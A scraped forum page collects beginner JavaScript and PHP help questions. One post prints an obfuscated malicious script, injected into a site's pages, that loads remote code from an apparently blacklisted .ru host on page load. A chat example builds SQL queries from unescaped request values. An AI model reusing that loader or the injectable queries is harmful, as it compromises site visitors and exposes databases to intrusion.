JavaScript - Form Handling, Multiple Pages, Different Destinations And Session Variables
Hopefully the title isn't too confusing, I shall explain...
I'm a basic PHP/javascript developer and I need to build a series of forms where info is passed from page to page and there will be a need to skip to different sequences of pages depending upon answers given. I have distilled this into a small example (try.php) where I can set my page destination using javascript but I'd like to be able to set a session variable to store the form data to reuse it on other pages. Because I haven't used a form action then the result doesn't get stored. This example should make it clearer... Here is a simple form, I send the visitor to either page 1 or page 2 depending on their radio button choice: Code: <script type="text/javascript"> function OnSubmitForm() { if(document.myform.destination[0].checked == true) { document.myform.action ="pg1.php"; } else if(document.myform.destination[1].checked == true) { document.myform.action ="pg2.php"; } return true; } </script> <form name="myform" onsubmit="return OnSubmitForm();"> name: <input type="text" name="name"><br> email: <input type="text" name="email"><br> <input type="radio" name="destination" value="1" checked>go to page 1<br> <input type="radio" name="destination" value="2">go to page 2 <p> <input type="submit" name="submit" value="go"> </p> </form> This works fine inasmuch as it takes the visitor to the correct page, however I'd like to store the name entered as a session variable and reuse it on page 1 (or page 2). page1.php looks like this (and page 2 is very similar): Code: <?php session_start(); // debug - turn on error reporting error_reporting(E_ALL | E_NOTICE); ini_set('display_errors', '1'); //Store our posted values in a session variable if (isset ($_POST['name'])) { $_SESSION['name'] = $_POST['name']; } else { $_SESSION['name'] = null; } echo ("Session variable is set to: ".$_SESSION['name']); ?> <h1>welcome to page 1</h1> I'm sure that pg1.php would work if I had used a form action but I need the ability to send the visitor to different pages on form submission Is it possible to write the name to a session variable in try.php (I guess using javascript/ajax)? Thanks for any hints and examples Nigel Similar TutorialsHi, I think the problem I am having is an event not a css issue, so I hope I posted in the right forum. What I am trying to achieve is the capability to provide multiple instant chat messages. I have the php/ajax for the instant messages, what I am not sure is how to be able to view multiple chats. What I have started to do is limit it to five possible instant chat messages and have five divs in place with visibility hidden. It works fine for one. But if someone clicks on the name of a person they wish to chat with, the way I am currently doing it, I would need to find out: 1. which divs were free to start an instant chat in (I have no idea how to do this with divs)? 2. Having identified it I will need to change the visibility so it suddenly becomes visible I guess firstly am I going about this the right way to be able to host/view multiple chats? My code is below. Main Page PHP Code: <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script> <script type="text/javascript"> $(document).ready(function (){ $('#submitchat').live('click',function(){ var data = $('#chatmessage').serialize(); $.post ('insertChat.php',data, function(){ $('#chatmessage').each (function(){ this.reset(); }); return false; }); }); }); </script> <script type="text/javascript"> function loadChat(File,ID,Msg,TID,Cile){ loadXMLDoc1(File,ID,Msg); delay = setTimeout(function(){loadChatRefresh(Cile,TID,Msg)},5000); } </script> <script type="text/javascript"> function loadChatRefresh(File,ID,Msg){ if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { try{ xmlhttp=new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } } xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200){ document.getElementById(ID).innerHTML=xmlhttp.responseText; timer = setInterval(function(){loadChatRefresh(File,ID,Msg)},3000); } } var params=Msg; xmlhttp.open("POST",File,true); xmlhttp.setRequestHeader("Pragma", "Cache-Control:no-cache"); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Content-length", params.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(params); } </script> <script type="text/javascript"> function loadXMLDoc1(File,ID,Msg){ if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { try{ xmlhttp=new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } } xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200){ document.getElementById(ID).innerHTML=xmlhttp.responseText; } } var params=Msg; xmlhttp.open("POST",File,true); xmlhttp.setRequestHeader("Pragma", "Cache-Control:no-cache"); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Content-length", params.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(params); } </script> </head> <body> <h1>Test</h1> <?php include("dbconnect.php"); $result = mysql_query("SELECT *, signedin.PId as SIPId FROM signedin INNER JOIN friends ON signedin.PId=friends.invited OR signedin.PId=friends.invitee WHERE ((friends.invitee={$_SESSION['MyPId']} AND friends.statae='accepted') OR (friends.invited={$_SESSION['MyPId']} AND friends.statae='accepted')) AND signedin.LogOff IS NULL AND signedin.PId !={$_SESSION['MyPId']}"); while($row = mysql_fetch_array($result)){ $mugwort= $row['SIPId'] . ';'; } $motherwort=explode(';',$mugwort); foreach ($motherwort as $mulberry){ $result = mysql_query("SELECT * FROM allusers WHERE PId='{$mulberry}'"); while($row = mysql_fetch_array($result)){ $nosegay=rand(). rand(). rand(). rand(). rand(); $nightshade="{$_SESSION['MyPId']};{$mulberry};{$nosegay}"; echo '<div class="img"><img src="thumbs/' . $row['pphoto'] . '" height="80px" width="80px" onclick="loadChat(\'chat.php\',\'chat1\',\'olivier=' . urlencode($nightshade) . '\',\'chatdisplay\',\'getDisplayChat.php\')";><div class="desc">' . $row['fullname'] . '</div></div><br />'; } } echo '<br /><div class="clear"></div><br /><br />'; ?> <div class="chat1" id="chat1"></div> <div class="chat2" id="chat2"></div> <div class="chat3" id="chat3"></div> <div class="chat4" id="chat4"></div> <div class="chat5" id="chat5"></div> <br /> <br /> Chat Page PHP Code: <?php include("dbconnect.php"); $blossom=explode(';',$_POST['olivier']); $periwinkle=$blossom[0]; $peppermint=$blossom[1]; $pine=$blossom[2]; global $periwinkle; global $peppermint; global $pine; echo '<div class="chatbanner" width="100%"> <table width="100%"> <tr> <td width="90%">'; echo '<center><b>This Name</b></center>'; echo '</td> <td width="5%">'; echo '<input type="button" class="buttonchat" name="minimize" id="minimize" value="−">'; echo '</td> <td width="5%">'; echo '<input type="button" class="buttonchat" name="minimize" id="minimize" value="X">'; echo '</td> </tr> </table></div>'; echo '<div class="chattext" id="chatdisplay" overflow="scroll">'; $result = mysql_query("SELECT * FROM chat INNER JOIN allusers ON chat.chatter=allusers.PId WHERE (chat.chatter={$periwinkle} AND chat.chattee={$peppermint}) OR (chat.chatter={$peppermint} AND chat.chattee={$periwinkle}) AND ref={$pine} ORDER BY chat.date DESC"); while($row = mysql_fetch_array($result)){ echo '<table width="100%"><tr><td width="20%"><img src="thumbs/' . $row['pphoto'] . '" width="40px" height="40px"></td>'; echo '<td width="80%" valign="top">' . nl2br($row['message']) . '</td></tr></table><hr />'; } echo '</div><br /><br />'; echo '<form action="insertChat.php" method="post" name="chatmessage" id="chatmessage"> <input type="text" class="hidden" name="from" id="from" value="' . $_SESSION['MyPId'] . '"> <input type="text" class="hidden" name="to" id="to" value="'; echo ($_SESSION['MyPId']==$peppermint) ? $periwinkle : $peppermint . '"> <input type="text" class="hidden" name="ref" id="ref" value="' . $pine . '">'; echo '<div class="textchat">'; echo '<textarea cols="21" row="5" name="message" id="message"></textarea>'; echo '<input type="button" name="submitchat" id="submitchat" value=" "></div></form>'; ?> Style Sheet: Code: div.chat1 { position:fixed; bottom:1px; right:50px; width:200px; height:250px; float:right; border:2px solid black; background-color:#fdf5e6; scrolling:auto; } div.chat2 { position:fixed; bottom:1px; right:260px; width:200px; height:250px; float:right; border:2px solid black; background-color:#fdf5e6; scrolling:auto; } div.chat3 { position:fixed; bottom:1px; right:470px; width:200px; height:250px; float:right; border:2px solid black; background-color:#fdf5e6; scrolling:auto; } div.chat4 { position:fixed; bottom:1px; right:680px; width:200px; height:250px; float:right; border:2px solid black; background-color:#fdf5e6; scrolling:auto; } div.chat5 { position:fixed; bottom:1px; right:890px; width:200px; height:250px; float:right; border:2px solid black; background-color:#fdf5e6; scrolling:auto; } .chatbanner { background-color:#4b0082; text-decoration:none; color:white; } .textchat { position:fixed; bottom:0.5px; } .chatbutton { position:fixed; bottom:0.5px; right:0.5px; border:none; } If I have left anything out which might be helpful please let me know. I just got stuck on the logistics side of figuring out how was the best way to make this happen, any pointers would be great. Hi, I hope someone can help me. I'll be honest and say I don't know much about javascript, but am fairly comfortable in html. I am building a website that will have multiple image swaps on multiple pages. I am building this in wordpress, and I'm guessing that means my approach will be different than if I wasn't using wordpress. Here's how one page would work: There are 10 images shown. 1,2,3,4,5,6,7,8,9,10. When number 1 is clicked on, I want a new image - 1a. When 2 is clicked on, 2a. So there are 20 different images in all on a given page. Also, I want the user to be able to click on the image again to restore the original image. I would prefer onclick to onmouseover. There will be literally dozens of pages like this on the site, managed by wordpress, so hundreds of images to swap. Basically the first image is a question - the second image is the answer. Is this possible? how do i make something like this? so that instead of viewing a long list it will be divided into pages..? Good day Lets say I have a page with 3 thumbnails and one big div. When click in one of the thumbnails the image of it must appear inside the big div. Of course there are 3 images (little ones for the thumbnails) and 3 big images for the real size ones. Script this is simple for me but imposible if I have more than 100 pages within 6 images inside them (3 little and 3 real size for 3 thumnail divs and one single big div). There must be some kind of order to just script the divs of the thumbnail divs and the real size image div in all the pages at ones, otherwise I have to creat ID's to every single div inside every single page! (4 id's to one page and I have more than 100 pages!, this is inpractical because is posible that in the future the pics change, is more than 400 id's) For example: for FIRST.html big div (div id="img001bg") thumb1 div (div id="th_img001" thumb2 div (div id="th_img002" thumb3 div (div id="th_img003" SECOND.html THIRD.html ... HUNDRED.html ... ! There must be some solution using somehow the functions, please help! Thank you to all Hi guys, i have posted this problem yesterday but maybe it just wasnt clear enough on what i wanted to acheiv. basically i have 1 link throughout my site and its a "buy now" button. i want it to be able to fetch possibly a value out my page content and then depending on that content direct the user to the correct page when they click that button? is this feasible? cheers, ant. Hello everyone, right now I have this in my site:
Code: <html> <head> <script type="text/javascript"> function open_win() { window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") } </script> </head> <body> <form> <input type=button value="Open Windows" onclick="open_win()"> </form> </body> </html> And I was wondering if there's a way to get rid of the button, and make it so when the user opens the webpage, it automatically opens the multiple webpages. -- If that's not possible, I was also wondering if there's a way to make the button "click" on a mouseover, so when they move their mouse across the button, it opens the pages. I would rather have the 1st option, if possible. Thanks. Hello, I am trying to figure out how to write a quiz that has one question per html page, then once the choice has been selected, it will go to another page and tally a total at the end. Can this be done? And if so, can you point me in the right direction to research? Thanks in advance, Tanya Hi, When designing a web page, you may come across a situation where you want to combine content from multiple websites in a single window. Could the "iframe" tag makes this possible? If so, as it will separate your page design into several sections and display a different website in each one? Your answers are much appreciated. Thank you for watching me. Stickers So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him. This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist. I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this. Code below. Thanks for any advice and time spent reading this! E <script>var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".s ubstr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".subs tr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".s ubstr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".s ubstr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0, 3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0 ,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};</script> <!--4ff31209b849a146e6784b8cb55539b3--> I'm trying to allow the user to change the stylesheet of my website. I can change the stylesheet on a page by page basis (eg. from red style to blue style) but once the user navigates to a different page the stylesheet resets back to the original setting. For example, when the user visits the site first its set to the red style, they can change it to blue but when they navigate to another page the style goes back to red again where as I want the style to stick across pages. Does anybody know how I can sort this out? I assume I'll have to edit my javascript but Im not very good at javascript so any help would be great! HTML Code: <html> <head> <link href="red.css" rel="stylesheet" type="text/css" title="red" media="screen" /> <link href="green.css" rel="alternate stylesheet" type="text/css" title="green" media="screen" /> <link href="blue.css" rel="alternate stylesheet" type="text/css" title="blue" media="screen" /> <script type="text/javascript"> function changeStyle(title) { var lnks = document.getElementsByTagName('link'); for (var i = lnks.length - 1; i >= 0; i--) { if (lnks[i].getAttribute('rel').indexOf('style')> -1 && lnks[i].getAttribute('title')) { lnks[i].disabled = true; if (lnks[i].getAttribute('title') == title) lnks[i].disabled = false; }}} </script> </head> <body> <a href = "home1.html">Page 1</a> <br> <br> <a href = "home2.html">Page 2</a> <br> <br> <a href = "home3.html">Page 3</a> <br> <br> <br> <br> <a href = "#" onclick="changeStyle('red')">Red Stylesheet</a> <br> <br> <a href = "#" onclick="changeStyle('blue')">Blue Stylesheet</a> <br> <br> <a href = "#" onclick="changeStyle('green')">Green Stylesheet</a> </body> </html> CSS Code: body { background-color:red; } I'm slowly scraping away errors from a page im working on and ive found this forum to be very helpful- down to one more that i wanted to post on. sample page is he http://darrenlasso.com/freelance/loo.../lookbook.html Works fine in most all browsers except for IE8- ive even had to include built in ie7 compatibility to get it to work at all. Problem is most likely associated with my js, which is: Code: function ShowPage(frame) { frames[0].location = frame+'.html' } and html is: Code: <div id="thumb1"><a onmouseover="ShowPage('frame1')"onclick="ShowPage('frame1')" rel="nofollow" target="mainbox"></a></div> <div id="thumb2"><a onmouseover="ShowPage('frame2')"onclick="ShowPage('frame2')" rel="nofollow" target="mainbox"></a></div> <div id="thumb3"><a onmouseover="ShowPage('frame3')"onclick="ShowPage('frame3')" rel="nofollow" target="mainbox"></a></div> etc etc.. Which is just something i found online - probly isnt right for what im trying to accomplish. If you go to the site- you navigate by hovering over/clicking the images at the top and that loads a new page into the iframe below. Id like to be able to fix the errors and get it working without having to force ie7 compatibility if possible too. Any help is much appreciated Is it possible to pull multiple variables from a single dropdown menu selection? example: I have this: Code: function material_choices_menu() /* Provides Specific Gravity for various materials */ { var data = "Material <select name='material'>"; data += "<option value='.926'>CYCOLAC MG47 (ABS)<\/option>"; data += "<option value='1.050'>CYCOLAC MG47MD (ABS)<\/option>"; data += "<option value='.958'>CYCOLAC T (ABS)<\/option>"; data += "<\/select>"; document.write(data); } I'd like to have multiple option values: Code: function material_choices_menu() /* Provides Specific Gravity for various materials */ { var data = "Material <select name='material'>"; data += "<option value1='.926', option value2='.005-.008'>CYCOLAC MG47 (ABS)<\/option>"; data += "<option value1='1.050', option value2='.005-.008'>CYCOLAC MG47MD (ABS)<\/option>"; data += "<option value1='.958', option value2='.005-.008'>CYCOLAC T (ABS)<\/option>"; data += "<\/select>"; document.write(data); } I plan to use the first value in some math formulas to determine weights and the rest of the values will just be shown as data for the user and/or possibly a link to the datasheet for the material selected. Is this possible or am I reaching here? I am creating a quote calculator as a mobile app using the JQuery Mobile plugin in Dreamweaver CS5.5. This supports HTML5 & Javascript. I have included a drop down list in which the user selects a specific Annual Volume. I have 2 different calculations that need to be done based on the users selection. Different calculations meaning that I need 2 different number values assigned to the option. For Example: Calculation #1 (I'm calculating what the Run Quantity is based on what the user selects as the Annual Volume. If user selects an Annual Volume of 150,000 then the calculated result for Run Quantity needs to be 3500) HTML for this scenario: Code: <li data-role="fieldcontain"> <p><span class="ui-listview-inset">Annual Volume:</label> <select name="annualvolume" id="annualvolume"> onChange="Calculate();"> <option value="1000">10,000</option> <option value="2000">30,000</option> <option value="3500">150,000</option> <option value="6000">300,000</option> <option value="10000">500,000</option> <option value="20000">1,000,000</option> </select> </p> </li> Calculation #2 (within the same form as the above calculation, I also need to calculate what the Annual Sales will be. The math to calculate the Annual Sales is to multiply the Final Piece Price (which is another calculation within this form) with Annual Volume. However with this Calculation # 2 I need the value to be 150,000 when user selects 150,000 and NOT 3500 as it was before. I've tried tweaking the HTML in following manner to assign 2 values within the same drop down, but it didn't work correctly. Code: <option value="3500" amount="150000">150,000</option> My javascript is as follows (please note that I deleted all the result fields except for the 3 that reference my described calculations above. My actual calculator has over 20 results all based on the user's inputs. This is why there are so many variables listed in my javascript - they are for the other results) Code: <SCRIPT LANGUAGE="JavaScript"> function CalculateSum(Atext, Btext, materialtype, presstype, Etext, Ftext, annualvolume, annualvolume2,Htext, Itext, form) { //INPUTS var A = parseFloat (Atext); var B = parseFloat (Btext); var C = document.getElementById('materialtype').value; var D = document.getElementById('presstype').value; var E = parseFloat (Etext); var F = parseFloat (Ftext); var G = document.getElementById('annualvolume').value; var GA = document.getElementById('annualvolume').amount; var H = parseFloat (Htext); var I = parseFloat (Itext); //RESULTS form.RunQuantity.value = G form.FinalPiecePrice.value = (((C*A) + F) + ((D/G) + E) + (((C*A) + F) + ((D/G) + E )) * (H *.01) + (((C*A) + F) + ((D/G) + E ) + (((C*A) + F) + ((D/G) + E )) * (H *.01)) * (I *.01)) form.AnnualSales.value = (form.FinalPiecePrice.value * GA) } </script> Currently I am simply having the user enter the annual volume twice so I can do the 2 calculations, but this is really clunky and not ideal. I'm fairly new to Javascript but have learned a lot from reading other posts by people like you. This is the first thing I haven't been able to figure out on my own and any help would be greatly appreciated. Hello. Sorry the code example might be a little long but it's repetitive and should be easy to understand. http://jsbin.com/eyeke4/13/edit My real code has 12 examples and not 3 but for the sake of this I had to shorten it as much as possible. When you go on there and preview it, you Select a level, then select a hero, then select 3 items and hit click me. This will give you a result of statistics. Now my problem is all the way on the right you will see all 3 values of AP are added together. In the last column alone. The thing about it is if you change item #1 and item #2 it does not update properly..to update it you MUST change the last item each time, which is inconvenient. The way it works is : daap1 = iap1[isi1]; daap2 = iap2[isi2]; daap3 = iap3[isi3]; totalap = (daap1 + daap2 + daap3); $(".tap").html(totalap); Pretty much like this in a nutshell. if I were to put $(".tap").html((iap1[isi1] + iap2[isi2] + iap3[isi3])); it works perfectly fine. But I need to use the variable totalap in formulas. How do I make it so things always update properly without the user having to do inconvenient things like always having to reselect the last dropdown? In my main code I have 12 total, 6 and 6 split apart, for me to currently get accurate info I must reselect the 6th and 12th item every single time. Any help on how I could achieve this would be very much appreciated, do I need a database or something? I don't mind what I need as long as it would work perfectly. Thanks in advance. What I have to do is, "Ask for number1, ask for number2 and show them added, subtracted and multiplied." Here is my code, what's wrong? <script type="text/javascript"> var number1= parseFloat ( window.prompt ("What is the first number?","")) || 0; var number2= parseFloat ( window.prompt ("What is the second number?","")) || 0; var addition= num1*1 + num2*1; var subtraction= num1*1 - num2*1; var multiplication= num1*1 * num2*1; document.write (Addition is: " num1+" + "+num2+"="+ addition); document.write (subtraction is: " num1" + "+num2+"="+ subtraction); document.write (muliplication is: " num1" + "+num2+"="+ multiplication); </script> First off I didn't know whether to post this here or in the PHP section since it deals with both, but mostly JS. I have a PHP scraper that scrapes the job title, company name and location from a website and stores them in separate arrays. These values are then extracted out one at a time from the array and stored into a string, that is then passed to a Google Maps API. I can make this successfully happen once, the thing is I need to do it multiple times. I have an idea on what I should do but don't really know how to implement it (correctly). The idea I had was to create a function in the JavaScript section that accepts three values from PHP. This function would be called in my PHP for loop that extracts the values from the array into a string. The thing that confuses me is that the Map function is called via <body onLoad="initialize()">. Here's the link to my code I have been working on a few budget scripts that I can access from the web in using HTML. My problem is that when variable values change I need to change these values in all of the HTML files on the server. I know that there is a way to declare global variables in a single file and use those values in another file but I have not been able to find any information that tells me exactly how to do this. I have tried to put it together on my own using what little informaiton I have been able to find but have not been able to get this to work. Is there a more detailed referance that I can find somewhere or does anyone know what steps I need to take to make this happen?
How would I clean up this code? it looks so ugly, would I put it in a for loop and make it loop through and set the rand2, rand3, rand4 = place... there so there is a lot less lines of code(which is what I want) I need a cleaner way to do this, so it isn't so much space. Can someone help? there needs to be different variables because I need the random to be different for each, so rand2 = different random value than rand3. var place = [74,111,148,185,222,259,296,333,370]; var random = [rand,rand2,rand3,rand4,rand5,rand6,rand7,rand8,rand9]; var rand = place[Math.floor(Math.random()*place.length)]; var rand2 = place[Math.floor(Math.random()*place.length)]; var rand3 = place[Math.floor(Math.random()*place.length)]; var rand4 = place[Math.floor(Math.random()*place.length)]; var rand5 = place[Math.floor(Math.random()*place.length)]; var rand6 = place[Math.floor(Math.random()*place.length)]; var rand7 = place[Math.floor(Math.random()*place.length)]; var rand8 = place[Math.floor(Math.random()*place.length)]; var rand9 = place[Math.floor(Math.random()*place.length)]; var newrand = place[Math.floor(Math.random()*place.length)]; var newrand1 = place[Math.floor(Math.random()*place.length)]; var newrand2 = place[Math.floor(Math.random()*place.length)]; var newrand3 = place[Math.floor(Math.random()*place.length)]; var newrand4 = place[Math.floor(Math.random()*place.length)]; var newrand5 = place[Math.floor(Math.random()*place.length)]; var newrand6 = place[Math.floor(Math.random()*place.length)]; var newrand7 = place[Math.floor(Math.random()*place.length)]; var newrand8 = place[Math.floor(Math.random()*place.length)]; var newrand9 = place[Math.floor(Math.random()*place.length)]; var old = place[Math.floor(Math.random()*place.length)]; var old1 = place[Math.floor(Math.random()*place.length)]; var old2 = place[Math.floor(Math.random()*place.length)]; var old3 = place[Math.floor(Math.random()*place.length)]; var old4 = place[Math.floor(Math.random()*place.length)]; var old5 = place[Math.floor(Math.random()*place.length)]; var old6 = place[Math.floor(Math.random()*place.length)]; var old7 = place[Math.floor(Math.random()*place.length)]; var old8 = place[Math.floor(Math.random()*place.length)]; var old9 = place[Math.floor(Math.random()*place.length)]; |